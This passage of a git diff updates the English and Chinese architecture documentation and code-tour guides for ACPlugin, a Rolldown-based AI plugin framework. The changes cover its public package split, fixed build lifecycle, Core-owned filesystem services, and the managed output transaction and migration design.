readiness, and keeps the last successful complete output after failures. +ACPlugin is a Rolldown-powered AI Plugin framework and CLI. It combines project scaffolding with a build system that remains in the project for validation, development, packaging, compatibility reporting, and managed output updates. -## Core package +The public package boundary is deliberately split: -`packages/core/src/` owns: +- `@tokenroll/acplugin` is the author facade, CLI, Project API, report API, init, and isolated Migration entry. +- Six `@tokenroll/acplugin-platform-*` packages own target-specific Package formats. +- `@tokenroll/acplugin-extension-hooks` and `@tokenroll/acplugin-extension-mcp` own optional horizontal authoring formats. +- `@acplugin/core` is private and is bundled into the main package. -- `types.ts`: public config, Component, Artifact, compatibility, and report contracts; -- `contracts.ts`: branded Platform, Extension, Adapter, and lifecycle APIs; -- `config.ts`: strict config normalization and safe project-relative directories; -- `scanner.ts`: canonical Markdown/Public discovery, Frontmatter validation, dependency graph checks, and Extension-directory gating; -- `diagnostics.ts`: stable sorted diagnostics and compatibility strictness; -- `artifacts.ts`: ownership, hashing, file-source roots, modes, and collision checks; -- `documents.ts`: add-only logical Document extension points and final serialization; -- `delivery-units.ts`: primary/distribution ownership and immutable Artifact registration; -- `lifecycle.ts`: fixed Platform/Extension orchestration and final report creation; -- `transaction.ts`: validation materialization and whole-`dist` lock/backup/swap/recovery; -- `serialization.ts`: deterministic JSON/YAML/Markdown serialization. +Configuration authors import from `@tokenroll/acplugin`. Trusted Platform and Extension implementations import contracts from `@tokenroll/acplugin/sdk`. The main package never bundles, discovers, or re-exports official integrations. -Artifacts reject absolute/traversal paths, symlinks, unsupported modes, source escapes, and exact/case-insensitive/Unicode-normalized collisions. +Configuration, descriptor, Platform, and Extension modules execute as trusted build-time code in the host Node.js process; they are not process sandboxes. Core service capabilities govern which sources and outputs can enter managed Packages and reports, not what a malicious integration could read through Node.js itself. Factory results carry a `Symbol.for(...)` shared registry brand so root, SDK, and CLI bundle chunks recognize the lifecycle definition. This brand is interoperable identity metadata, not a private Symbol, capability token, or security boundary. -## Platform and Extension lifecycle +## Fixed lifecycle ```text -configResolved → buildStart → Extension discover → Core scan → Extension validate/build -→ Platform prepare → Adapter apply → Platform generate/validate/distribute → buildEnd +config load/resolve +→ Platform and Extension Session setup +→ canonical/Public/Runtime/Extension resource discovery +→ immutable CanonicalProject assembly +→ Platform Component and Extension validation +→ Extension and Core Runtime compilation +→ Platform.createPackage +→ Framework and Extension Contributor collection +→ Core add-only merge +→ Platform.finalizePackage +→ primary candidate materialization and validation +→ optional Distribution creation and validation +→ compatibility and metadata finalization +→ aggregate materialization validation +→ managed output transaction +→ reverse Session close ``` -Platforms run in config order; Extensions run in config order and do not form a hidden dependency graph. Each Extension writes only its Core-provided work directory and returns platform-neutral Built State. Its Adapter can only read declared Documents, add fields at Platform-owned extension points, emit owned Artifacts, and report compatibility. Platforms retain complete lifecycle, Manifest, schema, validation, and distribution ownership. +Core is the only scheduler. Platform Package pipelines are isolated from one another, while stable registries make diagnostics and reports independent of concurrent completion order. Every initialized Session is closed exactly once in reverse order after success or failure; close receives only a sanitized outcome summary. -`buildEnd` runs in reverse initialized order after success or failure. On a candidate commit, the transaction keeps the prior output as a rollback backup while reverse cleanup runs. A cleanup failure is reported, passed to remaining cleanup hooks, and rolls the swap back to the previous complete output. Failures before the swap reach cleanup through the normal error path. +## Core service ownership -## Official Platform packages +Core owns the physical filesystem and process capabilities: -`packages/platforms/claude-code/` emits native Commands, Skills, Agents, `.claude-plugin/plugin.json`, and optional Marketplace distributions. +- `SourceRegistry` issues owner-scoped `SourceFileRef` and `SourceDirectoryRef` values after path, type, symlink, case, and Unicode checks. +- `ModuleHost` evaluates trusted TypeScript/JavaScript config and descriptors and registers their module graphs for dev. +- `CompilerHost` is the only Rolldown owner. `portable-node` provides the framework contract for Hooks, local MCP, and built-in Runtime; `managed-rolldown` exposes a bounded Rolldown surface to integrations. +- `ExecutionHost` runs only current-session generated Node Assets with bounded input, output, timeout, cwd, and environment. +- `AssetRegistry` signs Source, Generated, and Bytes Assets, enforces grants, and records mode, hash, size, owner, and structured origin. +- `WatchRegistry`, the Package candidate materializer, compatibility registry, and output transaction remain Core-only. -`packages/platforms/codex/` emits native Skills, Command fallback Skills, Agent fallback Skills, invocation policy metadata, `.codex-plugin/plugin.json`, and optional Marketplace distributions. Generated identities are reserved case-insensitively; collisions fail visibly. +Platforms and Extensions never receive a physical work directory or direct `dist` access through the framework contract. They express managed output through Core-issued references and owner-scoped services; this output boundary does not turn trusted Integration code into a process sandbox. -`packages/platforms/cursor/` emits a static Cursor Plugin with native Commands, Skills, and Subagents. Its Manifest is validated against a pinned complete official Schema fixture; model and non-readonly capability losses are reported rather than guessed. +## Resources and Project -`packages/platforms/antigravity/` emits a static Plugin with native Skills, Command fallback Skills, Agent guidance Skills, and the smallest publicly verified `plugin.json`. Metadata without a confirmed Manifest field is reported as omitted. +The framework-owned resource model contains: -`packages/platforms/opencode/` emits a workspace overlay with native Commands, Skills, and Subagents. It creates `opencode.json` only when configured fields or an Extension Adapter requires it, and never fabricates a generic package Manifest. +- Commands from `src/commands/.md`; +- Skills from `src/skills//SKILL.md` plus exact auxiliary files; +- Agents from `src/agents/.md`; +- Public files from `public` or explicit copy rules; +- built-in Node Runtime entries from direct `src/runtime` TS/JS files or explicit `runtime.entries`. -`packages/platforms/pi/` emits an npm package with native Skills, Command Prompt Templates, and Agent guidance Skills. Its package Manifest declares only Pi discovery fields and cannot leak `private`, `workspaces`, or private workspace dependencies. +Hooks and MCP are Extension-owned roots. A root containing author files without its owning Extension is a configuration error. Instructions are intentionally not a canonical Component. -Each directory is published as `@tokenroll/acplugin-platform-`. Production code imports only the public SDK from `@tokenroll/acplugin`, declares it as a peer dependency, and exports its factory as both the default and a named export. The main package neither bundles nor re-exports these implementations; private serializers and validators stay inside the owning Platform tarball. +The graph assembler freezes one `CanonicalProject`. Component dependency validation rejects missing, self, and cyclic dependencies before Package creation. Runtime is compiled once by Core only when a selected Platform declares the exact Plugin-local Node 20 ESM capability. -## Official Extensions +## Platform Packages and Contributions -`packages/extensions/hooks/` discovers `src/hooks//hook.ts`, validates event/matcher/timeout/result semantics, and bundles each implementation once as a platform-neutral Node 20 ESM Handler. Its six built-in Platform Adapters emit the verified static config or runtime integration for each host and report unsupported/degraded events individually. Runtime failures use fixed codes without payloads; third-party license notices remain adjacent to the Handler. +A Platform Session owns: -`packages/extensions/mcp/` discovers `src/mcp//mcp.ts`. Remote HTTP entries remain declarations containing only public values and environment-variable references. Local stdio entries provide complete server code, are bundled once as Node 20 ESM, reject unresolved dynamic imports, and must pass a bounded real initialize/tools-list smoke without referenced Secret values in both development and production. There is no mode or cache bypass for this protocol check. Its six Platform Adapters emit only transports each host can install: Claude Code/Codex support both, Cursor/Antigravity support remote HTTP, OpenCode supports remote/local, and Pi reports both unsupported. +1. optional Component field validation; +2. `createPackage()` for base Documents, Assets, compatibility, and metadata dispositions; +3. `finalizePackage()` for primary Package identity and optional additional Platform Assets; +4. `validatePackage()` against the fully materialized candidate; +5. optional `createDistributions()` from an already validated primary Package. -Extension build contexts expose `addWatchFile()` as the single dependency-registration boundary. Official bundlers report their actual Rolldown module graphs through it; Core validates absolute file identities, and the CLI—not the Extension—owns watcher policy and readiness compensation. +An Extension validates and builds one platform-neutral state. Its `PlatformContributor` instances all read the same immutable Platform base Package and return independent `PackageContribution` values. A Contribution may add fields only at declared empty Document extension points, add Assets owned by that Extension, and report compatibility. It cannot read another Extension state, observe another Contribution, replace a Document, delete output, or claim a Component. -## Managed output transaction +Core validates all Contributions, then performs one deterministic add-only merge. Conflicting Document fields or Package paths fail regardless of Extension configuration order. -`dist` is a complete managed target set: +## Output, reports, and dev -1. acquire an exclusive sibling lock; -2. recover a retained backup/transaction record; -3. materialize all selected Platform delivery units into a same-filesystem stage; -4. recompute and verify every Artifact size, SHA-256, mode, and regular-file status; -5. write the transaction record and rename old output to backup; -6. rename stage to output while retaining the rollback boundary; -7. finish reverse Platform/Extension cleanup successfully or roll back; -8. remove transaction and best-effort cleanup backup. +Package candidates are materialized only under Core-owned temporary roots. Platform validation therefore sees the exact file tree that would be installed. Distribution Assets inherit the validated primary Asset identity unless the Platform explicitly adds a newly signed Asset. -Pre-commit failure leaves old output untouched. Failure after backup/swap rolls back. If cleanup alone is interrupted, the next run deterministically reconciles output and backup. Core tests inject failures at each observable phase. +`BuildReport` schema version 2 contains Components, Runtimes, Extensions, Platform status, Packages, Asset provenance, compatibility, metadata dispositions, and stage-bound diagnostics. It contains no bytes, timestamps, environment values, project absolute paths, or temporary roots. -## CLI and package boundary +The managed output transaction treats the selected Platform set as one replacement: -`packages/acplugin/src/index.ts` exposes the public facade while `project-config.ts` loads fresh trusted TypeScript config/descriptor modules with Jiti and `run-project.ts` connects resolved projects to Core. Nested config objects are runtime-schema checked before lifecycle use. `cli.ts` owns commands, JSON/text output discipline, exit codes, watch coalescing, and lazy Migration import. Stable diagnostics redact external exceptions, absolute paths, and recognizable credential forms. +```text +lock → recover → stage → validate → backup → swap → cleanup +``` -The normal facade and CLI startup do not import `migration/`. The packed main tarball contains no private package imports, official integration manifest dependencies, or normal eager edges to those integrations. Migration's lazy chunk is the isolated exception that bundles the Claude Code Platform and MCP implementation needed to validate generated projects. `scripts/verify-release.mjs` proves the eager boundary, all nine public package manifests, peer rewrites, and private Symbol-brand interoperability through one main-package peer instance in external consumers. +Any failure keeps the last complete output. `DevSession` remains Core-owned: it maintains one active build round, coalesces pending changes, reconciles the latest module/source graph, keeps the last successful output after failure, and drains safely on close or process signals. -## Repository-only documentation consumers +The fixed transaction lock record is published complete with a no-replace hard link. Short-lived lock-metadata operations are serialized by unique PID/token guard intents, so stale recovery cannot rename a live replacement observed after an earlier read; dead guard paths are exact, never-reused identities. Stale recovery also compares inode/content metadata and bytes. This schema-3 protocol does not claim concurrent lock interoperability with pre-schema-3 beta processes. -`packages/docs/` is a private VitePress workspace. TypeDoc scans only the root public entry point of each of the nine public packages, generates Markdown and the API sidebar into an ignored directory, and then VitePress builds the task-oriented manual without remote content, timestamps, or deployment side effects. +## Migration isolation -`packages/playground/` is a private real consumer that explicitly imports the main package, all six official Platforms, and the Hooks/MCP Extensions. It exercises Components, Skill auxiliary files, every portable Hook event, HTTP/local MCP, Public files, Marketplaces, compatibility propagation, and managed output. Its content stays domain-neutral and demonstrates protocol and delivery capabilities without implementing product-specific behavior. Neither private workspace is a dependency of a public package or part of release tarballs. +Migration is dynamically imported from `packages/acplugin/src/migration/`. Its tolerant legacy readers operate only on untrusted migration input and do not form a second normal build path. Content that cannot be mapped safely is written to `.acplugin-migration/unmapped/` with a stable report; it is never fabricated into canonical Hooks, local MCP implementations, or Instructions. diff --git a/llmdoc/architecture/system.zh-CN.md b/llmdoc/architecture/system.zh-CN.md index c3c9eba..f23db9e 100644 --- a/llmdoc/architecture/system.zh-CN.md +++ b/llmdoc/architecture/system.zh-CN.md @@ -1,102 +1,102 @@ # 系统架构 -> [English version](system.md) +> [English](system.md) -## Pipeline +## 产品边界 -```text -acplugin.config.ts - → 解析并验证配置 - → 初始化 Platforms 和 Extensions - → Extension discover,再执行规范 Component/Public 扫描 - → Extension validate/build - → Platform prepare - → Extension Platform Adapters - → Platform generate/validate/distribute - → 建立不可变 DeliveryUnit/Artifact 图 - → 应用兼容性严格度 - → 仅验证物化,或执行受管输出事务 - → 生成稳定报告 -``` - -`validate`、`inspect` 和 `build` 运行同一套 Pipeline,区别只在报告明细和提交行为。`dev` 会在合并后的每次重建中创建全新 Pipeline,纳入 Extension 登记的 Bundle 模块图,并在 watcher ready 后先补偿构建;重建失败时保留最后一次成功的完整输出。 +ACPlugin 是基于 Rolldown 的 AI Plugin 框架和 CLI。它既负责初始化工程,也作为持续使用的构建系统留在项目中,统一完成校验、开发监听、打包、兼容性报告和托管输出更新。 -## Core 包 +公开 package 刻意分层: -`packages/core/src/` 负责: +- `@tokenroll/acplugin` 是作者 facade、CLI、Project API、报告 API、init 和隔离 Migration 入口; +- 六个 `@tokenroll/acplugin-platform-*` package 拥有目标平台 Package 格式; +- `@tokenroll/acplugin-extension-hooks` 与 `@tokenroll/acplugin-extension-mcp` 拥有可选横向作者格式; +- `@acplugin/core` 保持私有,并由主包 bundle。 -- `types.ts`:公开 Config、Component、Artifact、兼容性和报告契约; -- `contracts.ts`:带品牌的 Platform、Extension、Adapter 和生命周期 API; -- `config.ts`:严格配置规范化和安全的项目相对目录; -- `scanner.ts`:规范 Markdown/Public 发现、Frontmatter 验证、依赖图检查和 Extension 目录门禁; -- `diagnostics.ts`:稳定排序的诊断与兼容性严格度; -- `artifacts.ts`:所有权、摘要、文件来源根目录、权限模式和冲突检查; -- `documents.ts`:add-only 逻辑 Document 扩展点和最终序列化; -- `delivery-units.ts`:主单元/分发单元所有权和不可变 Artifact 注册; -- `lifecycle.ts`:固定 Platform/Extension 编排和最终报告创建; -- `transaction.ts`:验证物化以及整个 `dist` 的锁、备份、交换和恢复; -- `serialization.ts`:确定性 JSON/YAML/Markdown 序列化。 +配置作者从 `@tokenroll/acplugin` 导入。可信 Platform/Extension 实现从 `@tokenroll/acplugin/sdk` 导入契约。主包不会 bundle、发现或重新导出官方集成。 -Artifact 会拒绝绝对路径和目录穿越、符号链接、不支持的权限模式、来源目录逃逸,以及精确、大小写不敏感或 Unicode 规范化后的路径冲突。 +配置、descriptor、Platform 与 Extension 模块都是在宿主 Node.js 进程中执行的可信构建时代码,不是进程沙箱。Core Service capability 约束哪些来源与输出可以进入受管 Package 和报告,并不阻止恶意 Integration 自行通过 Node.js 读取内容。Factory result 携带 `Symbol.for(...)` 共享 registry brand,使主包 root、SDK 与 CLI bundle chunk 能识别生命周期定义;它只是可互操作的身份元数据,不是 private Symbol、权限令牌或安全边界。 -## Platform 与 Extension 生命周期 +## 固定生命周期 ```text -configResolved → buildStart → Extension discover → Core scan → Extension validate/build -→ Platform prepare → Adapter apply → Platform generate/validate/distribute → buildEnd +config load/resolve +→ Platform 与 Extension Session setup +→ canonical/Public/Runtime/Extension Resource discover +→ immutable CanonicalProject assembly +→ Platform Component 与 Extension validate +→ Extension 与 Core Runtime compile +→ Platform.createPackage +→ Framework/Extension Contributor collection +→ Core add-only merge +→ Platform.finalizePackage +→ primary candidate materialize/validate +→ optional Distribution create/validate +→ compatibility 与 metadata finalize +→ aggregate materialization validate +→ managed output transaction +→ reverse Session close ``` -Platform 按配置顺序执行;Extension 同样按配置顺序执行,不形成隐藏依赖图。每个 Extension 只能写入 Core 提供的工作目录,并返回平台中立 Built State。其 Adapter 只能读取声明的 Document、在 Platform 拥有的扩展点增加字段、提交自有 Artifact 和报告兼容性。Platform 始终完整拥有生命周期、Manifest、Schema、Validator 和分发。 +Core 是唯一调度者。各 Platform 的 Package pipeline 相互隔离;稳定 Registry 使诊断和报告不依赖并发完成顺序。所有已初始化 Session 在成功或失败后都恰好逆序关闭一次,`close` 只收到脱敏结果摘要。 -`buildEnd` 在成功或失败后按初始化的逆序执行。候选提交期间,事务会在逆序清理完成前保留旧输出作为回滚备份。清理失败会写入报告、传递给剩余清理 Hook,并把目录交换回滚到上一份完整输出。交换前失败则通过普通错误路径进入清理阶段。 +## Core Service 所有权 -## 官方 Platform package +Core 独占物理文件系统和进程能力: -`packages/platforms/claude-code/` 生成原生 Commands、Skills、Agents、`.claude-plugin/plugin.json` 和可选 Marketplace 分发。 +- `SourceRegistry` 在路径、类型、symlink、大小写和 Unicode 校验后签发 owner-scoped `SourceFileRef`/`SourceDirectoryRef`; +- `ModuleHost` 执行可信 TypeScript/JavaScript 配置与 descriptor,并把模块图登记到 dev; +- `CompilerHost` 是唯一 Rolldown owner。`portable-node` 为 Hooks、本地 MCP 和内建 Runtime 提供框架契约,`managed-rolldown` 向集成暴露受限 Rolldown 能力; +- `ExecutionHost` 只运行当前 Session 生成的 Node Asset,并限制输入、输出、超时、cwd 和环境; +- `AssetRegistry` 签发 Source、Generated、Bytes Asset,执行授权,并记录 mode、hash、size、owner 和结构化 origin; +- `WatchRegistry`、Package candidate materializer、compatibility registry 和输出事务保持 Core-only。 -`packages/platforms/codex/` 生成原生 Skills、Command 回退 Skills、Agent 回退 Skills、调用策略元数据、`.codex-plugin/plugin.json` 和可选 Marketplace 分发。生成标识按大小写不敏感方式保留;任何冲突都会显式失败。 +Platform/Extension 不通过框架契约获得物理 workDir 或 `dist` 写权限,只能通过 Core 引用和 owner-scoped Service 表达受管输出;这一输出边界不会把可信 Integration 代码变成进程沙箱。 -`packages/platforms/cursor/` 生成静态 Cursor Plugin,包含原生 Commands、Skills 和 Subagents。Manifest 使用固定的完整官方 Schema Fixture 验证;模型和非只读能力损失会明确报告,不使用猜测字段。 +## Resource 与 Project -`packages/platforms/antigravity/` 生成静态 Plugin,包含原生 Skills、Command 回退 Skills、Agent 指导 Skills 和最小公开确认的 `plugin.json`。没有确认 Manifest 字段的元数据会报告为 omitted。 +Framework-owned Resource 包含: -`packages/platforms/opencode/` 生成 Workspace Overlay,包含原生 Commands、Skills 和 Subagents。只有配置字段或 Extension Adapter 实际需要时才生成 `opencode.json`,绝不伪造通用 Package Manifest。 +- `src/commands/.md` 中的 Command; +- `src/skills//SKILL.md` 及精确辅助文件; +- `src/agents/.md` 中的 Agent; +- `public` 或显式 copy 规则中的 Public 文件; +- `src/runtime` 一级 TS/JS 文件或显式 `runtime.entries` 定义的内建 Node Runtime 入口。 -`packages/platforms/pi/` 生成 npm Package,包含原生 Skills、Command Prompt Templates 和 Agent 指导 Skills。Package Manifest 只声明 Pi 发现字段,不能泄漏 `private`、`workspaces` 或私有工作区依赖。 +Hooks 与 MCP 是 Extension-owned root。root 中存在作者文件但没有启用 owner Extension 时属于配置错误。Instructions 被明确排除在 canonical Component 之外。 -每个目录分别发布为 `@tokenroll/acplugin-platform-`。生产源码只从 `@tokenroll/acplugin` 导入公开 SDK,将其声明为 peer dependency,并同时默认导出和具名导出工厂。主包既不内联也不重新导出这些实现;私有 Serializer 和 Validator 留在所属 Platform tarball 内。 +Graph assembler 冻结唯一 `CanonicalProject`。Component 依赖在 Package 创建前拒绝缺失、自依赖和循环。只有选中 Platform 声明精确 Plugin-local Node 20 ESM capability 时,Core 才把 Runtime 编译一次。 -## 官方 Extensions +## Platform Package 与 Contribution -`packages/extensions/hooks/` 发现 `src/hooks//hook.ts`,验证事件、Matcher、超时和结果语义,并把每个实现只构建一次,生成平台中立的 Node 20 ESM Handler。其六个内置 Platform Adapter 为各宿主生成经过验证的静态配置或运行时集成,并逐项报告不支持/降级事件。运行时失败只使用固定错误码且不输出 payload;第三方许可说明与 Handler 相邻。 +Platform Session 拥有: -`packages/extensions/mcp/` 发现 `src/mcp//mcp.ts`。远程 HTTP 只保留公开值和环境变量引用;本地 stdio 必须提供完整 Server 代码,统一 Bundle 一次 Node 20 ESM,拒绝无法解析的动态 import,并在 development 与 production 中都于不读取 Secret 引用值的前提下通过有边界的真实 initialize/tools-list smoke。该协议检查没有 mode 或缓存跳过分支。六个平台 Adapter 只生成宿主可安装的传输:Claude Code/Codex 支持两者,Cursor/Antigravity 支持远程 HTTP,OpenCode 支持远程/本地,Pi 对两者均报告不支持。 +1. 可选 Component 字段校验; +2. 通过 `createPackage()` 创建 base Document、Asset、compatibility 与 metadata disposition; +3. 通过 `finalizePackage()` 确定 primary Package 身份和可选新增 Platform Asset; +4. 通过 `validatePackage()` 校验完整物化候选; +5. 可选地从已验证 primary Package 创建 Distribution。 -Extension build context 以 `addWatchFile()` 作为唯一依赖登记边界。官方 bundler 通过它上报实际 Rolldown 模块图;Core 校验绝对文件身份,具体 watcher 策略与 ready 补偿仍只由 CLI 负责。 +Extension 校验并构建一次平台中立 State。它的 `PlatformContributor` 都读取同一份不可变 Platform base Package,并独立返回 `PackageContribution`。Contribution 只能向声明且为空的 Document extension point 增加字段、增加本 Extension 自有 Asset,并报告兼容性;不能读取其他 Extension State、观察其他 Contribution、替换 Document、删除输出或接管 Component。 -## 受管输出事务 +Core 先验证全部 Contribution,再执行一次确定性 add-only merge。Document 字段或 Package 路径冲突与 Extension 配置顺序无关,始终失败。 -`dist` 是一套完整的受管目标集合: +## 输出、报告与 dev -1. 获取同级独占锁; -2. 恢复遗留的备份或事务记录; -3. 在同一文件系统的阶段目录中物化所有选中目标; -4. 重新计算并验证每个 Artifact 的大小、SHA-256、权限和普通文件状态; -5. 写入事务记录,并把旧输出重命名为备份; -6. 把阶段目录重命名为正式输出,同时保留回滚边界; -7. 成功完成逆序 Platform/Extension 清理,否则执行回滚; -8. 删除事务记录,并尽力清理备份。 +Package candidate 只在 Core 临时根中物化,因此 Platform 校验看到的就是最终将安装的文件树。Distribution 继承已验证 primary Asset 的身份;只有 Platform 显式签发新 Asset 时才能增加内容。 -提交前失败不会触碰旧输出。备份或交换后失败会执行回滚。如果只有清理过程被中断,下次运行会确定性地协调输出和备份。Core 测试会在每个可观测阶段注入失败。 +Schema version 2 `BuildReport` 包含 Component、Runtime、Extension、Platform 状态、Package、Asset provenance、兼容性、metadata disposition 和精确阶段诊断,不包含字节、时间戳、环境值、工程绝对路径或临时根。 -## CLI 与包边界 +托管输出事务把选中 Platform 集合作为一次整体替换: -`packages/acplugin/src/index.ts` 暴露公开门面;`project-config.ts` 使用 Jiti 重新加载受信任的 TypeScript 配置和描述文件,`run-project.ts` 把解析后的工程连接到 Core。嵌套配置对象会在进入生命周期前完成运行时 Schema 检查。`cli.ts` 负责命令、JSON/文本输出纪律、退出码、监听事件合并和 Migration 延迟导入。稳定诊断会隐藏外部异常、本机绝对路径和可识别的凭据形式。 +```text +lock → recover → stage → validate → backup → swap → cleanup +``` -普通公开门面和 CLI 启动过程不会导入 `migration/`。主包 tarball 不包含私有包导入、官方集成 manifest 依赖或指向集成的正常 eager 边。Migration lazy chunk 是隔离的例外:它内联生成工程自验证所需的 Claude Code Platform 与 MCP 实现。`scripts/verify-release.mjs` 会在外部消费者中验证 eager 边界、九个公开 package manifest、peer rewrite,以及经同一主包 peer 实例产生的私有 Symbol 品牌互操作。 +任一失败都保留上一份完整输出。`DevSession` 由 Core 独占:同时只有一个 active round,快速变化合并为 pending,最新模块/来源图会被重新协调;失败保留最后成功输出,关闭或进程信号会安全 drain。 -## 仓库内文档消费者 +固定 transaction lock record 通过 no-replace hard link 完整发布。短生命周期的 lock metadata 操作由唯一 PID/token guard intent 串行化,因此 stale recovery 不会 rename 首次读取后出现的活跃 replacement;dead guard 使用永不复用的精确 identity 回收。stale recovery 还会同时比较 inode/content metadata 与字节。本 schema-3 协议不承诺和 pre-schema-3 beta 进程并发构建时的 lock 互操作。 -`packages/docs/` 是私有 VitePress workspace。TypeDoc 只扫描九个公开 package 的根公开入口,把 Markdown 与 API sidebar 生成到 ignored 目录;VitePress 随后构建按任务组织的手写文档,不读取远程内容、不注入时间,也不执行部署副作用。 +## Migration 隔离 -`packages/playground/` 是私有的真实消费者,显式导入主包、六个官方 Platform 和 Hooks/MCP Extension。它覆盖 Components、Skill auxiliary、全部 portable Hook 事件、HTTP/local MCP、Public 文件、Marketplace、兼容性传播与受管输出。内容保持领域中立,只提供协议和交付能力模板,不实现特定产品业务。两个私有 workspace 都不会成为公开包依赖,也不进入发行 tarball。 +Migration 从 `packages/acplugin/src/migration/` 动态导入。容错 legacy reader 只处理不可信迁移输入,不形成第二条正常构建路径。无法安全映射的内容写入 `.acplugin-migration/unmapped/` 和稳定报告,不会伪装成 canonical Hook、本地 MCP 实现或 Instructions。 diff --git a/llmdoc/guides/commenting.zh-CN.md b/llmdoc/guides/commenting.zh-CN.md index 4a0f8e8..cd968e9 100644 --- a/llmdoc/guides/commenting.zh-CN.md +++ b/llmdoc/guides/commenting.zh-CN.md @@ -16,7 +16,7 @@ ## 关键逻辑注释 -事务提交与回滚、路径包含检查、凭据脱敏、Artifact 冲突、Extension 生命周期、平台降级和非显然算法必须解释“为什么这样处理”和“必须保持什么条件”。不要使用“遍历数组”“返回结果”“创建变量”之类复述语句的注释。 +事务提交与回滚、路径包含检查、凭据脱敏、Asset/Package 冲突、Extension 生命周期、平台降级和非显然算法必须解释“为什么这样处理”和“必须保持什么条件”。不要使用“遍历数组”“返回结果”“创建变量”之类复述语句的注释。 嵌入模板字符串的运行时代码只在生成器边界和关键协议分支处解释,避免把大量开发注释写入最终 Plugin 产物。 diff --git a/llmdoc/guides/package-code-tour.zh-CN.md b/llmdoc/guides/package-code-tour.zh-CN.md index 4d156bb..0057356 100644 --- a/llmdoc/guides/package-code-tour.zh-CN.md +++ b/llmdoc/guides/package-code-tour.zh-CN.md @@ -1,826 +1,276 @@ -# ACPlugin 按 Package 代码导览 +# ACPlugin Kernel v2 代码导览 -本文面向第一次进入 ACPlugin 1.0 代码库的维护者,按 workspace package 解释内容、架构、数据流和实现逻辑。它不是 API 规范的替代品;需要判断 MUST/MUST NOT 时,仍以正式规范、ADR 和源码为准。 +本文只描述当前 Kernel v2。旧 `Draft/Adapter/DeliveryUnit/Artifact/BuildResult` 生命周期已经删除,不是兼容路径。 -建议先用 15 分钟读完“全局心智模型”和 `@acplugin/core`,再按当前任务跳到对应 package。代码链接指向主要入口,不要求从目录第一行顺序阅读。 +## 1. Workspace 与公开边界 -## 1. Package 地图 - -| 目录 | Package | 发布状态 | 核心职责 | -| --- | --- | --- | --- | -| `packages/acplugin` | `@tokenroll/acplugin` | 公开 | 作者/第三方 SDK、CLI、配置加载、dev watch、init、隔离 Migration;不导出官方集成 | -| `packages/core` | `@acplugin/core` | 私有 | 类型与品牌、配置解析、Scanner、固定生命周期、owner 合并、兼容性、Artifact、事务和报告 | -| `packages/platforms/claude-code` | `@tokenroll/acplugin-platform-claude-code` | 公开 | Claude Code Plugin、可选 Marketplace、最终 Validator | -| `packages/platforms/codex` | `@tokenroll/acplugin-platform-codex` | 公开 | Codex Plugin、Skill 转换、可选 Marketplace、协议 Validator | -| `packages/platforms/cursor` | `@tokenroll/acplugin-platform-cursor` | 公开 | Cursor Plugin 与官方 Schema 子集校验 | -| `packages/platforms/antigravity` | `@tokenroll/acplugin-platform-antigravity` | 公开 | Antigravity Plugin 与 Skill fallback | -| `packages/platforms/opencode` | `@tokenroll/acplugin-platform-opencode` | 公开 | OpenCode Workspace Overlay | -| `packages/platforms/pi` | `@tokenroll/acplugin-platform-pi` | 公开 | Pi npm Package、Prompt/Skill 转换 | -| `packages/extensions/hooks` | `@tokenroll/acplugin-extension-hooks` | 公开 | Hook 作者协议、单次 Bundle、安全 Runner、六平台 Adapter | -| `packages/extensions/mcp` | `@tokenroll/acplugin-extension-mcp` | 公开 | HTTP/stdio MCP 作者协议、stdio Bundle/smoke、六平台 Adapter | -| `packages/test` | `@acplugin/test` | 私有 | 跨包、CLI、Migration、架构和发布边界集成测试 | -| `packages/docs` | `@acplugin/docs` | 私有 | VitePress 手写文档、九公开包 TypeDoc API 与导航生成 | -| `packages/playground` | `@acplugin/playground` | 私有 | 领域中立的全能力消费工程与 packaging/template smoke | - -依赖方向是刻意收窄的: - -```mermaid -flowchart TD - MAIN["@tokenroll/acplugin
公开 façade / CLI"] --> CORE["@acplugin/core
唯一生命周期"] - P1["六个公开 Platform package"] -. peer dependency .-> MAIN - H["Hooks Extension"] -. peer dependency .-> MAIN - M["MCP Extension"] -. peer dependency .-> MAIN - TEST["@acplugin/test"] --> MAIN - TEST --> P1 - TEST --> CORE - TEST --> H - TEST --> M - DOCS["@acplugin/docs"] -. 扫描公开根入口 .-> MAIN - DOCS -. 扫描公开根入口 .-> P1 - DOCS -. 扫描公开根入口 .-> H - DOCS -. 扫描公开根入口 .-> M - PLAY["@acplugin/playground"] --> MAIN - PLAY --> P1 - PLAY --> H -``` - -- Core 不 import 任何具体 Platform、Hooks、MCP 或 Migration。 -- 六个官方 Platform 和两个 Extension 的生产源码都只从主包导入公开 SDK,并把主包保持为 peer dependency;它们不能依赖私有 Core 或另一个集成。 -- 主包通过 [tsdown 配置](../../packages/acplugin/tsdown.config.ts)只内联 Core。它没有官方集成 re-export、subpath 或 manifest 依赖,公开 tarball 运行时不出现 `@acplugin/*`。 -- 每个 Platform 默认导出并具名导出自身工厂;MCP 的 Rolldown 重入口还被拆成独立 `bundler.mjs`。 -- Docs 直接把九个公开 package 根目录作为 TypeDoc entry point,但不成为它们的运行时依赖;Playground 只通过公开包装配真实消费路径。 - -Migration 会在主包构建时把自验证所需的 Claude Code Platform 与 MCP Extension 代码内联进 CLI 的惰性 chunk,但不会给主包 manifest 增加官方集成运行时依赖,也不会让正常 façade/CLI 启动主动加载 Migration。 - -## 2. 全局心智模型 - -### 2.1 一次构建的数据流 - -```mermaid -flowchart LR - A["acplugin.config.ts
UserConfig"] --> B["配置加载/解析
ResolvedConfig"] - H0["src/hooks / src/mcp"] --> E1["Extension discover"] - S0["commands / skills / agents / public"] --> S["Core Scanner
PluginProject"] - B --> L["Core fixed lifecycle"] - E1 --> L - S --> L - L --> EB["Extension Built State"] - EB --> AD["Platform Adapter"] - L --> PD["Platform Draft
